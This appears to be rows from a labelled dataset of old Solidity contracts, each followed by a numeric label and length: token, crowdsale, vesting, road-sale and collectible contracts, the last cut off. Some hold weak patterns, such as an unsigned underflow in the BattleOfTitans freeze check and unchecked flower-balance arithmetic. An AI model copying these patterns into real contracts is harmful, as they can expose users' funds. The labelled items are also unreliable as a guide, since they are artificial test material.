if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract XdacToken is StandardToken, Ownable {
string public name = "XDAC COIN";
string public symbol = "XDAC";
uint8 public decimals = 18;
function XdacToken(uint256 _initial_supply) public {
totalSupply_ = _initial_supply;
balances[msg.sender] = _initial_supply;
Transfer(0x0, msg.sender, _initial_supply);
}
}
contract XdacTokenCrowdsale is Ownable {
using SafeMath for uint256;
uint256[] roundGoals;
uint256[] roundRates;
uint256 minContribution;
ERC20 public token;
address public wallet;
mapping(address => Contributor) public contributors;
address[] addresses;
uint256 public weiDelivered;
event TokenRefund(address indexed purchaser, uint256 amount);
event TokenPurchase(address indexed purchaser, address indexed contributor, uint256 value, uint256 amount);
struct Contributor {
uint256 eth;
bool whitelisted;
bool created;
}
function XdacTokenCrowdsale(
address _wallet,
uint256[] _roundGoals,
uint256[] _roundRates,
uint256 _minContribution,
uint256 _initial_supply
) public {
require(_wallet != address(0));
require(_roundRates.length == 5);
require(_roundGoals.length == 5);
roundGoals = _roundGoals;
roundRates = _roundRates;
minContribution = _minContribution;
token = new XdacToken(_initial_supply);
wallet = _wallet;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _contributor) public payable {
require(_contributor != address(0));
require(msg.value != 0);
require(msg.value >= minContribution);
require(weiDelivered.add(msg.value) <= roundGoals[4]);
uint256 tokens = _getTokenAmount(msg.value);
TokenPurchase(msg.sender, _contributor, msg.value, tokens);
_forwardFunds();
}
function _getCurrentRound() internal view returns (uint) {
for (uint i = 0; i < 5; i++) {
if (weiDelivered < roundGoals[i]) {
return i;
}
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint curRound = _getCurrentRound();
uint256 calculatedTokenAmount = 0;
uint256 roundWei = 0;
uint256 weiRaisedIntermediate = weiDelivered;
uint256 weiAmount = _weiAmount;
for (curRound; curRound < 5; curRound++) {
if (weiRaisedIntermediate.add(weiAmount) > roundGoals[curRound]) {
roundWei = roundGoals[curRound].sub(weiRaisedIntermediate);
weiRaisedIntermediate = weiRaisedIntermediate.add(roundWei);
weiAmount = weiAmount.sub(roundWei);
calculatedTokenAmount = calculatedTokenAmount.add(roundWei.mul(roundRates[curRound]));
}
else {
calculatedTokenAmount = calculatedTokenAmount.add(weiAmount.mul(roundRates[curRound]));
break;
}
}
return calculatedTokenAmount;
}
function _getEthAmount(uint256 _tokenAmount) internal view returns (uint256) {
uint curRound = _getCurrentRound();
uint256 calculatedWeiAmount = 0;
uint256 roundWei = 0;
uint256 weiRaisedIntermediate = weiDelivered;
uint256 tokenAmount = _tokenAmount;
for (curRound; curRound < 5; curRound++) {
if(weiRaisedIntermediate.add(tokenAmount.div(roundRates[curRound])) > roundGoals[curRound]) {
roundWei = roundGoals[curRound].sub(weiRaisedIntermediate);
weiRaisedIntermediate = weiRaisedIntermediate.add(roundWei);
tokenAmount = tokenAmount.sub(roundWei.div(roundRates[curRound]));
calculatedWeiAmount = calculatedWeiAmount.add(tokenAmount.div(roundRates[curRound]));
}
else {
calculatedWeiAmount = calculatedWeiAmount.add(tokenAmount.div(roundRates[curRound]));
break;
}
}
return calculatedWeiAmount;
}
function _forwardFunds() internal {
Contributor storage contributor = contributors[msg.sender];
contributor.eth = contributor.eth.add(msg.value);
if (contributor.created == false) {
contributor.created = true;
addresses.push(msg.sender);
}
if (contributor.whitelisted) {
_deliverTokens(msg.sender);
}
}
function _deliverTokens(address _contributor) internal {
Contributor storage contributor = contributors[_contributor];
uint256 amountEth = contributor.eth;
uint256 amountToken = _getTokenAmount(amountEth);
require(amountToken > 0);
require(amountEth > 0);
require(contributor.whitelisted);
contributor.eth = 0;
weiDelivered = weiDelivered.add(amountEth);
wallet.transfer(amountEth);
token.transfer(_contributor, amountToken);
}
function _refundTokens(address _contributor) internal {
Contributor storage contributor = contributors[_contributor];
uint256 ethAmount = contributor.eth;
require(ethAmount > 0);
contributor.eth = 0;
TokenRefund(_contributor, ethAmount);
_contributor.transfer(ethAmount);
}
function _whitelistAddress(address _contributor) internal {
Contributor storage contributor = contributors[_contributor];
contributor.whitelisted = true;
if (contributor.created == false) {
contributor.created = true;
addresses.push(_contributor);
}
if (contributor.eth > 0) {
_deliverTokens(_contributor);
}
}
function _sendToken(address _address, uint256 _amountTokens) internal{
XdacToken _token = XdacToken(token);
require(_token.balanceOf(_token.owner()) >= _amountTokens);
_whitelistAddress(_address);
_token.transfer(_address, _amountTokens);
}
function whitelistAddresses(address[] _contributors) public onlyOwner {
for (uint256 i = 0; i < _contributors.length; i++) {
_whitelistAddress(_contributors[i]);
}
}
function whitelistAddress(address _contributor) public onlyOwner {
_whitelistAddress(_contributor);
}
function transferTokenOwnership(address _newOwner) public onlyOwner returns(bool success) {
XdacToken _token = XdacToken(token);
_token.transfer(_newOwner, _token.balanceOf(_token.owner()));
_token.transferOwnership(_newOwner);
return true;
}
function sendToken(address _address, uint256 _amountTokens) public onlyOwner returns(bool success) {
_sendToken(_address, _amountTokens);
return true;
}
function sendTokens(address[] _addresses, uint256[] _amountTokens) public onlyOwner returns(bool success) {
require(_addresses.length > 0);
require(_amountTokens.length > 0);
require(_addresses.length == _amountTokens.length);
for (uint256 i = 0; i < _addresses.length; i++) {
_sendToken(_addresses[i], _amountTokens[i]);
}
return true;
}
function refundTokensForAddress(address _contributor) public onlyOwner {
_refundTokens(_contributor);
}
function getAddresses() public onlyOwner view returns (address[] ) {
return addresses;
}
function refundTokens() public {
_refundTokens(msg.sender);
}
function getTokenAmount(uint256 _weiAmount) public view returns (uint256) {
return _getTokenAmount(_weiAmount);
}
function getEthAmount(uint256 _tokenAmount) public view returns (uint256) {
return _getEthAmount(_tokenAmount);
}
function getCurrentRate() public view returns (uint256) {
return roundRates[_getCurrentRound()];
}
} | 1 | 3,489 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
} | 1 | 2,507 |
pragma solidity ^0.4.24;
contract GodMode {
bool public isPaused;
address public god;
modifier onlyGod()
{
require(god == msg.sender);
_;
}
modifier notPaused()
{
require(!isPaused);
_;
}
event GodPaused();
event GodUnpaused();
constructor() public
{
god = msg.sender;
}
function godChangeGod(address _newGod) public onlyGod
{
god = _newGod;
}
function godPause() public onlyGod
{
isPaused = true;
emit GodPaused();
}
function godUnpause() public onlyGod
{
isPaused = false;
emit GodUnpaused();
}
}
pragma solidity ^0.4.24;
contract KingOfEthAbstractInterface {
address public king;
address public wayfarer;
function payTaxes() public payable;
}
pragma solidity ^0.4.24;
contract KingOfEthReferencer is GodMode {
address public kingOfEthContract;
modifier onlyKingOfEthContract()
{
require(kingOfEthContract == msg.sender);
_;
}
function godSetKingOfEthContract(address _kingOfEthContract)
public
onlyGod
{
kingOfEthContract = _kingOfEthContract;
}
}
pragma solidity ^0.4.24;
contract KingOfEthRoadsAbstractInterface {
function ownerOf(uint _x, uint _y, uint8 _direction) public view returns(address);
function roadRealtyTransferOwnership(
uint _x
, uint _y
, uint8 _direction
, address _from
, address _to
) public;
}
pragma solidity ^0.4.24;
contract KingOfEthRoadsReferencer is GodMode {
address public roadsContract;
modifier onlyRoadsContract()
{
require(roadsContract == msg.sender);
_;
}
function godSetRoadsContract(address _roadsContract)
public
onlyGod
{
roadsContract = _roadsContract;
}
}
pragma solidity ^0.4.24;
contract KingOfEthRoadRealty is
GodMode
, KingOfEthReferencer
, KingOfEthRoadsReferencer
{
uint public constant taxDivisor = 25;
mapping (uint => mapping (uint => uint[2])) roadPrices;
event RoadForSale(
uint x
, uint y
, uint8 direction
, address owner
, uint amount
);
event RoadPriceChanged(
uint x
, uint y
, uint8 direction
, uint amount
);
event RoadSold(
uint x
, uint y
, uint8 direction
, address from
, address to
, uint amount
);
event RoadSaleCancelled(
uint x
, uint y
, uint8 direction
, address owner
);
modifier onlyRoadOwner(uint _x, uint _y, uint8 _direction)
{
require(KingOfEthRoadsAbstractInterface(roadsContract).ownerOf(_x, _y, _direction) == msg.sender);
_;
}
modifier noExistingRoadSale(uint _x, uint _y, uint8 _direction)
{
require(0 == roadPrices[_x][_y][_direction]);
_;
}
modifier existingRoadSale(uint _x, uint _y, uint8 _direction)
{
require(0 != roadPrices[_x][_y][_direction]);
_;
}
constructor(address _kingOfEthContract) public
{
kingOfEthContract = _kingOfEthContract;
}
function roadsCancelRoadSale(uint _x, uint _y, uint8 _direction)
public
onlyRoadsContract
{
if(0 != roadPrices[_x][_y][_direction])
{
roadPrices[_x][_y][_direction] = 0;
emit RoadSaleCancelled(_x, _y, _direction, msg.sender);
}
}
function startRoadSale(
uint _x
, uint _y
, uint8 _direction
, uint _askingPrice
)
public
notPaused
onlyRoadOwner(_x, _y, _direction)
noExistingRoadSale(_x, _y, _direction)
{
require(0 != _askingPrice);
roadPrices[_x][_y][_direction] = _askingPrice;
emit RoadForSale(_x, _y, _direction, msg.sender, _askingPrice);
}
function changeRoadPrice(
uint _x
, uint _y
, uint8 _direction
, uint _askingPrice
)
public
notPaused
onlyRoadOwner(_x, _y, _direction)
existingRoadSale(_x, _y, _direction)
{
require(0 != _askingPrice);
roadPrices[_x][_y][_direction] = _askingPrice;
emit RoadPriceChanged(_x, _y, _direction, _askingPrice);
}
function purchaseRoad(uint _x, uint _y, uint8 _direction)
public
payable
notPaused
existingRoadSale(_x, _y, _direction)
{
require(roadPrices[_x][_y][_direction] == msg.value);
roadPrices[_x][_y][_direction] = 0;
uint taxCut = msg.value / taxDivisor;
KingOfEthAbstractInterface(kingOfEthContract).payTaxes.value(taxCut)();
KingOfEthRoadsAbstractInterface _roadsContract = KingOfEthRoadsAbstractInterface(roadsContract);
address _oldOwner = _roadsContract.ownerOf(_x, _y, _direction);
_roadsContract.roadRealtyTransferOwnership(
_x
, _y
, _direction
, _oldOwner
, msg.sender
);
_oldOwner.transfer(msg.value - taxCut);
emit RoadSold(
_x
, _y
, _direction
, _oldOwner
, msg.sender
, msg.value
);
}
function cancelRoadSale(uint _x, uint _y, uint8 _direction)
public
notPaused
onlyRoadOwner(_x, _y, _direction)
existingRoadSale(_x, _y, _direction)
{
roadPrices[_x][_y][_direction] = 0;
emit RoadSaleCancelled(_x, _y, _direction, msg.sender);
}
} | 1 | 2,428 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract BattleOfTitansToken is StandardToken, Pausable {
string public constant name = 'BattleOfTitans';
string public constant symbol = 'BoT';
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(decimals);
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
function BattleOfTitansToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(_to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(_to, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < (1505645727 + 3600*10));
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _to, uint256 _value) {
if(frozenAccount[_to] > 0) {
require(block.timestamp < (1505645727 +86400/2));
}
uint forbiddenPremine = (1505645727 +86400/2) - block.timestamp + 86400*1;
if (forbiddenPremine < 0) forbiddenPremine = 0;
require(_to != address(0));
require(balances[msg.sender] >= _value + frozenAccount[msg.sender] * forbiddenPremine / (86400*1) );
require(balances[_to] + _value > balances[_to]);
}
} | 0 | 947 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract TrueloveAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract TrueloveBase is TrueloveAccessControl {
Diamond[] diamonds;
mapping (uint256 => address) public diamondIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public diamondIndexToApproved;
mapping (address => uint256) public flowerBalances;
struct Diamond {
bytes24 model;
uint16 year;
uint16 no;
uint activateAt;
}
struct Model {
bytes24 model;
uint current;
uint total;
uint16 year;
uint256 price;
}
Model diamond1;
Model diamond2;
Model diamond3;
Model flower;
uint sendGiftPrice;
uint beginSaleTime;
uint nextSaleTime;
uint registerPrice;
DiamondAuction public diamondAuction;
FlowerAuction public flowerAuction;
function TrueloveBase() internal {
sendGiftPrice = 0.001 ether;
registerPrice = 0.01 ether;
_setVars();
diamond1 = Model({model: "OnlyOne", current: 0, total: 1, year: 2018, price: 1000 ether});
diamond2 = Model({model: "Eternity2018", current: 0, total: 5, year: 2018, price: 50 ether});
diamond3 = Model({model: "Memorial", current: 0, total: 1000, year: 2018, price: 1 ether});
flower = Model({model: "MySassyGirl", current: 0, total: 10000000, year: 2018, price: 0.01 ether});
}
function _setVars() internal {
beginSaleTime = now;
nextSaleTime = beginSaleTime + 300 days;
}
function setSendGiftPrice(uint _sendGiftPrice) external onlyCOO {
sendGiftPrice = _sendGiftPrice;
}
function setRegisterPrice(uint _registerPrice) external onlyCOO {
registerPrice = _registerPrice;
}
function _getModel(uint _index) internal view returns(Model storage) {
if (_index == 1) {
return diamond1;
} else if (_index == 2) {
return diamond2;
} else if (_index == 3) {
return diamond3;
} else if (_index == 4) {
return flower;
}
revert();
}
function getModel(uint _index) external view returns(
bytes24 model,
uint current,
uint total,
uint16 year,
uint256 price
) {
Model storage _model = _getModel(_index);
model = _model.model;
current = _model.current;
total = _model.total;
year = _model.year;
price = _model.price;
}
}
contract EIP20Interface {
uint256 public flowerTotalSupply;
function balanceOfFlower(address _owner) public view returns (uint256 balance);
function transferFlower(address _to, uint256 _value) public returns (bool success);
function transferFromFlower(address _from, address _to, uint256 _value) public returns (bool success);
function approveFlower(address _spender, uint256 _value) public returns (bool success);
function allowanceFlower(address _owner, address _spender) public view returns (uint256 remaining);
event TransferFlower(address from, address to, uint256 value);
event ApprovalFlower(address owner, address spender, uint256 value);
function supportsEIP20Interface(bytes4 _interfaceID) external view returns (bool);
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract ERC721Metadata {
function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract TrueloveOwnership is TrueloveBase, ERC721 {
string public constant name = "CryptoTruelove";
string public constant symbol = "CT";
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 = bytes4(0x9a20483d);
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return diamondIndexToOwner[_tokenId] == _claimant;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
diamondIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete diamondIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return diamondIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
diamondIndexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_to != address(diamondAuction));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return diamonds.length - 1;
}
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = diamondIndexToOwner[_tokenId];
require(owner != address(0));
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalDiamonds = totalSupply();
uint256 resultIndex = 0;
uint256 diamondId;
for (diamondId = 1; diamondId <= totalDiamonds; diamondId++) {
if (diamondIndexToOwner[diamondId] == _owner) {
result[resultIndex] = diamondId;
resultIndex++;
}
}
return result;
}
}
function _memcpy(uint _dest, uint _src, uint _len) private pure {
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private pure returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
function getDiamond(uint256 _id)
external
view
returns (
bytes24 model,
uint16 year,
uint16 no,
uint activateAt
) {
Diamond storage diamond = diamonds[_id];
model = diamond.model;
year = diamond.year;
no = diamond.no;
activateAt = diamond.activateAt;
}
}
contract TrueloveFlowerOwnership is TrueloveBase, EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => mapping (address => uint256)) public flowerAllowed;
bytes4 constant EIP20InterfaceSignature = bytes4(0x98474109);
function supportsEIP20Interface(bytes4 _interfaceID) external view returns (bool) {
return _interfaceID == EIP20InterfaceSignature;
}
function _transferFlower(address _from, address _to, uint256 _value) internal returns (bool success) {
if (_from != address(0)) {
require(flowerBalances[_from] >= _value);
flowerBalances[_from] -= _value;
}
flowerBalances[_to] += _value;
TransferFlower(_from, _to, _value);
return true;
}
function transferFlower(address _to, uint256 _value) public returns (bool success) {
require(flowerBalances[msg.sender] >= _value);
flowerBalances[msg.sender] -= _value;
flowerBalances[_to] += _value;
TransferFlower(msg.sender, _to, _value);
return true;
}
function transferFromFlower(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = flowerAllowed[_from][msg.sender];
require(flowerBalances[_from] >= _value && allowance >= _value);
flowerBalances[_to] += _value;
flowerBalances[_from] -= _value;
if (allowance < MAX_UINT256) {
flowerAllowed[_from][msg.sender] -= _value;
}
TransferFlower(_from, _to, _value);
return true;
}
function balanceOfFlower(address _owner) public view returns (uint256 balance) {
return flowerBalances[_owner];
}
function approveFlower(address _spender, uint256 _value) public returns (bool success) {
flowerAllowed[msg.sender][_spender] = _value;
ApprovalFlower(msg.sender, _spender, _value);
return true;
}
function allowanceFlower(address _owner, address _spender) public view returns (uint256 remaining) {
return flowerAllowed[_owner][_spender];
}
function _addFlower(uint256 _amount) internal {
flower.current += _amount;
flowerTotalSupply += _amount;
}
}
contract TrueloveNextSale is TrueloveOwnership, TrueloveFlowerOwnership {
